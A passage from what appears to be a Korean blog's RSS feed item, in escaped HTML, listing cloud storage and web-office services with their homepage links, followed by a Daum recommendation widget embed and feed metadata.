&lt;li&gt;&lt;span style=&quot;color: rgb(51, 51, 51); font-family: Dotum, AppleGothic, sans-serif; font-size: 14px; line-height: 22px; &quot;&gt;싱크아이(&lt;/span&gt;&lt;a href=&quot;http://www.synci.co.kr/&quot; target=&quot;_blank&quot; style=&quot;color: rgb(102, 102, 102); text-decoration: none; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; font-family: Dotum, AppleGothic, sans-serif; font-size: 14px; line-height: 22px; &quot;&gt;www.synci.co.kr&lt;/a&gt;&lt;span style=&quot;color: rgb(51, 51, 51); font-family: Dotum, AppleGothic, sans-serif; font-size: 14px; line-height: 22px; &quot;&gt;)&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;color: rgb(51, 51, 51); font-family: Dotum, AppleGothic, sans-serif; font-size: 14px; line-height: 22px; &quot;&gt;싱크아이모바일(&lt;/span&gt;&lt;a href=&quot;http://m.synci.co.kr/&quot; target=&quot;_blank&quot; style=&quot;color: rgb(102, 102, 102); text-decoration: none; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; font-family: Dotum, AppleGothic, sans-serif; font-size: 14px; line-height: 22px; &quot;&gt;m.synci.co.kr&lt;/a&gt;&lt;span style=&quot;color: rgb(51, 51, 51); font-family: Dotum, AppleGothic, sans-serif; font-size: 14px; line-height: 22px; &quot;&gt;)&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;color: rgb(51, 51, 51); font-family: Dotum, AppleGothic, sans-serif; font-size: 14px; line-height: 22px; &quot;&gt;아마존 웹서비스(&lt;/span&gt;&lt;a href=&quot;http://aws.amazon.com/&quot; target=&quot;_blank&quot; style=&quot;color: rgb(102, 102, 102); text-decoration: none; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; font-family: Dotum, AppleGothic, sans-serif; font-size: 14px; line-height: 22px; &quot;&gt;aws.amazon.com&lt;/a&gt;&lt;span style=&quot;color: rgb(51, 51, 51); font-family: Dotum, AppleGothic, sans-serif; font-size: 14px; line-height: 22px; &quot;&gt;) -&amp;nbsp;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;color: rgb(51, 51, 51); font-family: Dotum, AppleGothic, sans-serif; font-size: 14px; line-height: 22px; &quot;&gt;씨투게더(&lt;/span&gt;&lt;a href=&quot;http://www.seetogether.com/&quot; target=&quot;_blank&quot; style=&quot;color: rgb(102, 102, 102); text-decoration: none; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; font-family: Dotum, AppleGothic, sans-serif; font-size: 14px; line-height: 22px; &quot;&gt;www.seetogether.com&lt;/a&gt;&lt;span style=&quot;color: rgb(51, 51, 51); font-family: Dotum, AppleGothic, sans-serif; font-size: 14px; line-height: 22px; &quot;&gt;)&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;color: rgb(51, 51, 51); font-family: Dotum, AppleGothic, sans-serif; font-size: 14px; line-height: 22px; &quot;&gt;오라클 퍼블릭 클라우드(&lt;/span&gt;&lt;a href=&quot;http://cloud.oracle.com/&quot; target=&quot;_blank&quot; style=&quot;color: rgb(102, 102, 102); text-decoration: none; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; font-family: Dotum, AppleGothic, sans-serif; font-size: 14px; line-height: 22px; &quot;&gt;cloud.oracle.com&lt;/a&gt;&lt;span style=&quot;color: rgb(51, 51, 51); font-family: Dotum, AppleGothic, sans-serif; font-size: 14px; line-height: 22px; &quot;&gt;)&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;color: rgb(51, 51, 51); font-family: Dotum, AppleGothic, sans-serif; font-size: 14px; line-height: 22px; &quot;&gt;올레 유클라우드(&lt;/span&gt;&lt;a href=&quot;http://ucloud.olleh.com/&quot; target=&quot;_blank&quot; style=&quot;color: rgb(102, 102, 102); text-decoration: none; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; font-family: Dotum, AppleGothic, sans-serif; font-size: 14px; line-height: 22px; &quot;&gt;ucloud.olleh.com&lt;/a&gt;&lt;span style=&quot;color: rgb(51, 51, 51); font-family: Dotum, AppleGothic, sans-serif; font-size: 14px; line-height: 22px; &quot;&gt;)&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;color: rgb(51, 51, 51); font-family: Dotum, AppleGothic, sans-serif; font-size: 14px; line-height: 22px; &quot;&gt;올레 유클라우드비즈(&lt;/span&gt;&lt;a href=&quot;http://ucloudbiz.olleh.com/&quot; target=&quot;_blank&quot; style=&quot;color: rgb(102, 102, 102); text-decoration: none; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; font-family: Dotum, AppleGothic, sans-serif; font-size: 14px; line-height: 22px; &quot;&gt;ucloudbiz.olleh.com&lt;/a&gt;&lt;span style=&quot;color: rgb(51, 51, 51); font-family: Dotum, AppleGothic, sans-serif; font-size: 14px; line-height: 22px; &quot;&gt;)&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;color: rgb(51, 51, 51); font-family: Dotum, AppleGothic, sans-serif; font-size: 14px; line-height: 22px; &quot;&gt;클리엘 클라우드(&lt;/span&gt;&lt;a href=&quot;http://cloud.cliel.com/&quot; target=&quot;_blank&quot; style=&quot;color: rgb(102, 102, 102); text-decoration: none; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; font-family: Dotum, AppleGothic, sans-serif; font-size: 14px; line-height: 22px; &quot;&gt;cloud.cliel.com&lt;/a&gt;&lt;span style=&quot;color: rgb(51, 51, 51); font-family: Dotum, AppleGothic, sans-serif; font-size: 14px; line-height: 22px; &quot;&gt;)&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;color: rgb(51, 51, 51); font-family: Dotum, AppleGothic, sans-serif; font-size: 14px; line-height: 22px; &quot;&gt;제로PC(&lt;/span&gt;&lt;a href=&quot;http://www.zeropc.com/&quot; target=&quot;_blank&quot; style=&quot;color: rgb(102, 102, 102); text-decoration: none; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; font-family: Dotum, AppleGothic, sans-serif; font-size: 14px; line-height: 22px; &quot;&gt;www.zeropc.com&lt;/a&gt;&lt;span style=&quot;color: rgb(51, 51, 51); font-family: Dotum, AppleGothic, sans-serif; font-size: 14px; line-height: 22px; &quot;&gt;)&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;b&gt;&lt;span style=&quot;color: rgb(51, 51, 51); font-family: Dotum, AppleGothic, sans-serif; font-size: 14px; line-height: 22px; &quot;&gt;사운드클라우드(&lt;/span&gt;&lt;a href=&quot;http://soundcloud.com/&quot; target=&quot;_blank&quot; style=&quot;color: rgb(102, 102, 102); text-decoration: none; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; font-family: Dotum, AppleGothic, sans-serif; font-size: 14px; line-height: 22px; &quot;&gt;soundcloud.com&lt;/a&gt;&lt;span style=&quot;color: rgb(51, 51, 51); font-family: Dotum, AppleGothic, sans-serif; font-size: 14px; line-height: 22px; &quot;&gt;)&amp;nbsp;&lt;/span&gt;&lt;/b&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;color: rgb(51, 51, 51); font-family: Dotum, AppleGothic, sans-serif; font-size: 14px; line-height: 22px; &quot;&gt;올레오피스365(&lt;/span&gt;&lt;a href=&quot;http://office365.olleh.com/&quot; target=&quot;_blank&quot; style=&quot;color: rgb(102, 102, 102); text-decoration: none; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; font-family: Dotum, AppleGothic, sans-serif; font-size: 14px; line-height: 22px; &quot;&gt;office365.olleh.com&lt;/a&gt;&lt;span style=&quot;color: rgb(51, 51, 51); font-family: Dotum, AppleGothic, sans-serif; font-size: 14px; line-height: 22px; &quot;&gt;)&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;color: rgb(51, 51, 51); font-family: Dotum, AppleGothic, sans-serif; font-size: 14px; line-height: 22px; &quot;&gt;센클라우드(&lt;/span&gt;&lt;a href=&quot;http://cencloud.com/&quot; target=&quot;_blank&quot; style=&quot;color: rgb(102, 102, 102); text-decoration: none; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; font-family: Dotum, AppleGothic, sans-serif; font-size: 14px; line-height: 22px; &quot;&gt;cencloud.com&lt;/a&gt;&lt;span style=&quot;color: rgb(51, 51, 51); font-family: Dotum, AppleGothic, sans-serif; font-size: 14px; line-height: 22px; &quot;&gt;)&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;color: rgb(51, 51, 51); font-family: Dotum, AppleGothic, sans-serif; font-size: 14px; line-height: 22px; &quot;&gt;우리나(&lt;/span&gt;&lt;a href=&quot;http://www.woorina.com/&quot; target=&quot;_blank&quot; style=&quot;color: rgb(102, 102, 102); text-decoration: none; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; font-family: Dotum, AppleGothic, sans-serif; font-size: 14px; line-height: 22px; &quot;&gt;www.woorina.com&lt;/a&gt;&lt;span style=&quot;color: rgb(51, 51, 51); font-family: Dotum, AppleGothic, sans-serif; font-size: 14px; line-height: 22px; &quot;&gt;)&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;color: rgb(51, 51, 51); font-family: Dotum, AppleGothic, sans-serif; font-size: 14px; line-height: 22px; &quot;&gt;구글 독스(&lt;/span&gt;&lt;a href=&quot;http://docs.google.com/&quot; target=&quot;_blank&quot; style=&quot;color: rgb(102, 102, 102); text-decoration: none; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; font-family: Dotum, AppleGothic, sans-serif; font-size: 14px; line-height: 22px; &quot;&gt;docs.google.com&lt;/a&gt;&lt;span style=&quot;color: rgb(51, 51, 51); font-family: Dotum, AppleGothic, sans-serif; font-size: 14px; line-height: 22px; &quot;&gt;)&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;color: rgb(51, 51, 51); font-family: Dotum, AppleGothic, sans-serif; font-size: 14px; line-height: 22px; &quot;&gt;에버노트(&lt;/span&gt;&lt;a href=&quot;http://www.evernote.com/&quot; target=&quot;_blank&quot; style=&quot;color: rgb(102, 102, 102); text-decoration: none; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; font-family: Dotum, AppleGothic, sans-serif; font-size: 14px; line-height: 22px; &quot;&gt;www.evernote.com&lt;/a&gt;&lt;span style=&quot;color: rgb(51, 51, 51); font-family: Dotum, AppleGothic, sans-serif; font-size: 14px; line-height: 22px; &quot;&gt;)&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;color: rgb(51, 51, 51); font-family: Dotum, AppleGothic, sans-serif; font-size: 14px; line-height: 22px; &quot;&gt;씽크프리(&lt;/span&gt;&lt;a href=&quot;http://www.thinkfree.com/&quot; target=&quot;_blank&quot; style=&quot;color: rgb(102, 102, 102); text-decoration: none; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; font-family: Dotum, AppleGothic, sans-serif; font-size: 14px; line-height: 22px; &quot;&gt;www.thinkfree.com&lt;/a&gt;&lt;span style=&quot;color: rgb(51, 51, 51); font-family: Dotum, AppleGothic, sans-serif; font-size: 14px; line-height: 22px; &quot;&gt;)&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;color: rgb(51, 51, 51); font-family: Dotum, AppleGothic, sans-serif; font-size: 14px; line-height: 22px; &quot;&gt;페이스북 독스(&lt;/span&gt;&lt;a href=&quot;http://docs.com/&quot; target=&quot;_blank&quot; style=&quot;color: rgb(102, 102, 102); text-decoration: none; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; font-family: Dotum, AppleGothic, sans-serif; font-size: 14px; line-height: 22px; &quot;&gt;docs.com&lt;/a&gt;&lt;span style=&quot;color: rgb(51, 51, 51); font-family: Dotum, AppleGothic, sans-serif; font-size: 14px; line-height: 22px; &quot;&gt;)&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;color: rgb(51, 51, 51); font-family: Dotum, AppleGothic, sans-serif; font-size: 14px; line-height: 22px; &quot;&gt;스프링노트(&lt;/span&gt;&lt;a href=&quot;http://www.springnote.com/&quot; target=&quot;_blank&quot; style=&quot;color: rgb(102, 102, 102); text-decoration: none; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; font-family: Dotum, AppleGothic, sans-serif; font-size: 14px; line-height: 22px; &quot;&gt;www.springnote.com&lt;/a&gt;&lt;span style=&quot;color: rgb(51, 51, 51); font-family: Dotum, AppleGothic, sans-serif; font-size: 14px; line-height: 22px; &quot;&gt;)&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;color: rgb(51, 51, 51); font-family: Dotum, AppleGothic, sans-serif; font-size: 14px; line-height: 22px; &quot;&gt;다우기술 오피스톡(&lt;/span&gt;&lt;a href=&quot;http://www.officetalk.co.kr/&quot; target=&quot;_blank&quot; style=&quot;color: rgb(102, 102, 102); text-decoration: none; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; font-family: Dotum, AppleGothic, sans-serif; font-size: 14px; line-height: 22px; &quot;&gt;www.officetalk.co.kr&lt;/a&gt;&lt;span style=&quot;color: rgb(51, 51, 51); font-family: Dotum, AppleGothic, sans-serif; font-size: 14px; line-height: 22px; &quot;&gt;)&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;b&gt;&lt;span style=&quot;color: rgb(51, 51, 51); font-family: Dotum, AppleGothic, sans-serif; font-size: 14px; line-height: 22px; &quot;&gt;LG유플러스 웹하드 웹오피스(&lt;/span&gt;&lt;a href=&quot;http://www.webhard.co.kr/&quot; target=&quot;_blank&quot; style=&quot;color: rgb(102, 102, 102); text-decoration: none; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; font-family: Dotum, AppleGothic, sans-serif; font-size: 14px; line-height: 22px; &quot;&gt;www.webhard.co.kr&lt;/a&gt;&lt;span style=&quot;color: rgb(51, 51, 51); font-family: Dotum, AppleGothic, sans-serif; font-size: 14px; line-height: 22px; &quot;&gt;)&lt;/span&gt;&lt;/b&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;color: rgb(51, 51, 51); font-family: Dotum, AppleGothic, sans-serif; font-size: 14px; line-height: 22px; &quot;&gt;후이즈데스크(&lt;/span&gt;&lt;a href=&quot;http://whoisdesk.net/&quot; target=&quot;_blank&quot; style=&quot;color: rgb(102, 102, 102); text-decoration: none; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; font-family: Dotum, AppleGothic, sans-serif; font-size: 14px; line-height: 22px; &quot;&gt;whoisdesk.net&lt;/a&gt;&lt;span style=&quot;color: rgb(51, 51, 51); font-family: Dotum, AppleGothic, sans-serif; font-size: 14px; line-height: 22px; &quot;&gt;)&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;color: rgb(51, 51, 51); font-family: Dotum, AppleGothic, sans-serif; font-size: 14px; line-height: 22px; &quot;&gt;&lt;b&gt;나모 액티브스퀘어 웹편집기&lt;/b&gt;(&lt;/span&gt;&lt;a href=&quot;http://www.namo.co.kr/&quot; target=&quot;_blank&quot; style=&quot;color: rgb(102, 102, 102); text-decoration: none; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; font-family: Dotum, AppleGothic, sans-serif; font-size: 14px; line-height: 22px; &quot;&gt;www.namo.co.kr&lt;/a&gt;&lt;span style=&quot;color: rgb(51, 51, 51); font-family: Dotum, AppleGothic, sans-serif; font-size: 14px; line-height: 22px; &quot;&gt;) -&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;color: rgb(51, 51, 51); font-family: Dotum, AppleGothic, sans-serif; font-size: 14px; line-height: 22px; &quot;&gt;네이버 N드라이브(&lt;/span&gt;&lt;a href=&quot;http://ndrive.naver.com/&quot; target=&quot;_blank&quot; style=&quot;color: rgb(102, 102, 102); text-decoration: none; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; font-family: Dotum, AppleGothic, sans-serif; font-size: 14px; line-height: 22px; &quot;&gt;ndrive.naver.com&lt;/a&gt;&lt;span style=&quot;color: rgb(51, 51, 51); font-family: Dotum, AppleGothic, sans-serif; font-size: 14px; line-height: 22px; &quot;&gt;)&amp;nbsp;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;color: rgb(51, 51, 51); font-family: Dotum, AppleGothic, sans-serif; font-size: 14px; line-height: 22px; &quot;&gt;PB웍스(&lt;/span&gt;&lt;a href=&quot;http://pbworks.com/&quot; target=&quot;_blank&quot; style=&quot;color: rgb(102, 102, 102); text-decoration: none; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; font-family: Dotum, AppleGothic, sans-serif; font-size: 14px; line-height: 22px; &quot;&gt;pbworks.com&lt;/a&gt;&lt;span style=&quot;color: rgb(51, 51, 51); font-family: Dotum, AppleGothic, sans-serif; font-size: 14px; line-height: 22px; &quot;&gt;)&amp;nbsp;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;color: rgb(51, 51, 51); font-family: Dotum, AppleGothic, sans-serif; font-size: 14px; line-height: 22px; &quot;&gt;베이스캠프(&lt;/span&gt;&lt;a href=&quot;http://basecamphq.com/&quot; target=&quot;_blank&quot; style=&quot;color: rgb(102, 102, 102); text-decoration: none; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; font-family: Dotum, AppleGothic, sans-serif; font-size: 14px; line-height: 22px; &quot;&gt;basecamphq.com&lt;/a&gt;&lt;span style=&quot;color: rgb(51, 51, 51); font-family: Dotum, AppleGothic, sans-serif; font-size: 14px; line-height: 22px; &quot;&gt;)&amp;nbsp;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;color: rgb(51, 51, 51); font-family: Dotum, AppleGothic, sans-serif; font-size: 14px; line-height: 22px; &quot;&gt;팀오피스(&lt;/span&gt;&lt;a href=&quot;http://www.teamoffice.com/&quot; target=&quot;_blank&quot; style=&quot;color: rgb(102, 102, 102); text-decoration: none; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; font-family: Dotum, AppleGothic, sans-serif; font-size: 14px; line-height: 22px; &quot;&gt;www.teamoffice.com&lt;/a&gt;&lt;span style=&quot;color: rgb(51, 51, 51); font-family: Dotum, AppleGothic, sans-serif; font-size: 14px; line-height: 22px; &quot;&gt;)&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;color: rgb(51, 51, 51); font-family: Dotum, AppleGothic, sans-serif; font-size: 14px; line-height: 22px; &quot;&gt;슈가싱크(&lt;/span&gt;&lt;a href=&quot;http://www.sugarsync.com/&quot; target=&quot;_blank&quot; style=&quot;color: rgb(102, 102, 102); text-decoration: none; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; font-family: Dotum, AppleGothic, sans-serif; font-size: 14px; line-height: 22px; &quot;&gt;www.sugarsync.com&lt;/a&gt;&lt;span style=&quot;color: rgb(51, 51, 51); font-family: Dotum, AppleGothic, sans-serif; font-size: 14px; line-height: 22px; &quot;&gt;)&amp;nbsp;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;color: rgb(51, 51, 51); font-family: Dotum, AppleGothic, sans-serif; font-size: 14px; line-height: 22px; &quot;&gt;유플러스박스(&lt;/span&gt;&lt;a href=&quot;http://www.uplusbox.co.kr/&quot; target=&quot;_blank&quot; style=&quot;color: rgb(102, 102, 102); text-decoration: none; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; font-family: Dotum, AppleGothic, sans-serif; font-size: 14px; line-height: 22px; &quot;&gt;www.uplusbox.co.kr&lt;/a&gt;&lt;span style=&quot;color: rgb(51, 51, 51); font-family: Dotum, AppleGothic, sans-serif; font-size: 14px; line-height: 22px; &quot;&gt;)&amp;nbsp;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;b&gt;&lt;span style=&quot;color: rgb(51, 51, 51); font-family: Dotum, AppleGothic, sans-serif; font-size: 14px; line-height: 22px; &quot;&gt;MS 윈도라이브 스카이드라이브(&lt;/span&gt;&lt;a href=&quot;http://skydrive.live.com/&quot; target=&quot;_blank&quot; style=&quot;color: rgb(102, 102, 102); text-decoration: none; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; font-family: Dotum, AppleGothic, sans-serif; font-size: 14px; line-height: 22px; &quot;&gt;skydrive.live.com&lt;/a&gt;&lt;span style=&quot;color: rgb(51, 51, 51); font-family: Dotum, AppleGothic, sans-serif; font-size: 14px; line-height: 22px; &quot;&gt;)&lt;/span&gt;&lt;/b&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;color: rgb(51, 51, 51); font-family: Dotum, AppleGothic, sans-serif; font-size: 14px; line-height: 22px; &quot;&gt;데이터파일호스트(&lt;/span&gt;&lt;a href=&quot;http://www.datafilehost.com/&quot; target=&quot;_blank&quot; style=&quot;color: rgb(102, 102, 102); text-decoration: none; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; font-family: Dotum, AppleGothic, sans-serif; font-size: 14px; line-height: 22px; &quot;&gt;www.datafilehost.com&lt;/a&gt;&lt;span style=&quot;color: rgb(51, 51, 51); font-family: Dotum, AppleGothic, sans-serif; font-size: 14px; line-height: 22px; &quot;&gt;)&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;b&gt;&lt;span style=&quot;color: rgb(51, 51, 51); font-family: Dotum, AppleGothic, sans-serif; font-size: 14px; line-height: 22px; &quot;&gt;애플 아이워크(&lt;/span&gt;&lt;a href=&quot;http://www.iwork.com/&quot; target=&quot;_blank&quot; style=&quot;color: rgb(102, 102, 102); text-decoration: none; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; font-family: Dotum, AppleGothic, sans-serif; font-size: 14px; line-height: 22px; &quot;&gt;www.iwork.com&lt;/a&gt;&lt;/b&gt;&lt;span style=&quot;color: rgb(51, 51, 51); font-family: Dotum, AppleGothic, sans-serif; font-size: 14px; line-height: 22px; &quot;&gt;&lt;b&gt;)&lt;/b&gt;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;b&gt;&lt;span style=&quot;color: rgb(51, 51, 51); font-family: Dotum, AppleGothic, sans-serif; font-size: 14px; line-height: 22px; &quot;&gt;MS 오피스365(&lt;/span&gt;&lt;a href=&quot;http://www.office365mobile.co.kr/&quot; target=&quot;_blank&quot; style=&quot;color: rgb(102, 102, 102); text-decoration: none; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; font-family: Dotum, AppleGothic, sans-serif; font-size: 14px; line-height: 22px; &quot;&gt;www.office365mobile.co.kr&lt;/a&gt;&lt;span style=&quot;color: rgb(51, 51, 51); font-family: Dotum, AppleGothic, sans-serif; font-size: 14px; line-height: 22px; &quot;&gt;)&amp;nbsp;&lt;/span&gt;&lt;/b&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;color: rgb(51, 51, 51); font-family: Dotum, AppleGothic, sans-serif; font-size: 14px; line-height: 22px; &quot;&gt;티나루(&lt;/span&gt;&lt;a href=&quot;http://www.tnaru.net/&quot; target=&quot;_blank&quot; style=&quot;color: rgb(102, 102, 102); text-decoration: none; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; font-family: Dotum, AppleGothic, sans-serif; font-size: 14px; line-height: 22px; &quot;&gt;www.tnaru.net&lt;/a&gt;&lt;span style=&quot;color: rgb(51, 51, 51); font-family: Dotum, AppleGothic, sans-serif; font-size: 14px; line-height: 22px; &quot;&gt;)&amp;nbsp;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;color: rgb(51, 51, 51); font-family: Dotum, AppleGothic, sans-serif; font-size: 14px; line-height: 22px; &quot;&gt;조호(&lt;/span&gt;&lt;a href=&quot;http://www.zoho.com/&quot; target=&quot;_blank&quot; style=&quot;color: rgb(102, 102, 102); text-decoration: none; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; font-family: Dotum, AppleGothic, sans-serif; font-size: 14px; line-height: 22px; &quot;&gt;www.zoho.com&lt;/a&gt;&lt;span style=&quot;color: rgb(51, 51, 51); font-family: Dotum, AppleGothic, sans-serif; font-size: 14px; line-height: 22px; &quot;&gt;)&amp;nbsp;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;color: rgb(51, 51, 51); font-family: Dotum, AppleGothic, sans-serif; font-size: 14px; line-height: 22px; &quot;&gt;MS 오피스2010 웹앱스(&lt;/span&gt;&lt;a href=&quot;http://office.microsoft.com/ko-kr/products/&quot; target=&quot;_blank&quot; style=&quot;color: rgb(102, 102, 102); text-decoration: none; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; font-family: Dotum, AppleGothic, sans-serif; font-size: 14px; line-height: 22px; &quot;&gt;office.microsoft.com/ko-kr/products/&lt;/a&gt;&lt;span style=&quot;color: rgb(51, 51, 51); font-family: Dotum, AppleGothic, sans-serif; font-size: 14px; line-height: 22px; &quot;&gt;)&amp;nbsp;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;color: rgb(51, 51, 51); font-family: Dotum, AppleGothic, sans-serif; font-size: 14px; line-height: 22px; &quot;&gt;허들(&lt;/span&gt;&lt;a href=&quot;http://www.huddle.com/&quot; target=&quot;_blank&quot; style=&quot;color: rgb(102, 102, 102); text-decoration: none; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; font-family: Dotum, AppleGothic, sans-serif; font-size: 14px; line-height: 22px; &quot;&gt;www.huddle.com&lt;/a&gt;&lt;span style=&quot;color: rgb(51, 51, 51); font-family: Dotum, AppleGothic, sans-serif; font-size: 14px; line-height: 22px; &quot;&gt;)&lt;/span&gt;&amp;nbsp;&lt;/li&gt;
&lt;/ul&gt;&lt;div class=&quot;blogger-news-widget&quot; style=&quot;width: 100%; text-align: center&quot;&gt;
		  					&lt;embed src=&quot;http://api.v.daum.net/static/recombox1.swf&quot; quality=&quot;high&quot; flashvars=&quot;nid=26415903&quot; allowscriptaccess=&quot;always&quot; allowfullscreen=&quot;false&quot; bgcolor=&quot;#ffffff&quot; width=&quot;400&quot; height=&quot;80&quot; type=&quot;application/x-shockwave-flash&quot; wmode=&quot;transparent&quot;&gt;&lt;/embed&gt;
						&lt;/div&gt;</description>
			<category>개인공부</category>
			<category>개인공부</category>
			<category>기타 IT</category>
			<author>XoDNr_ 깝태</author>
			<guid>http://iyounges.org/578</guid>
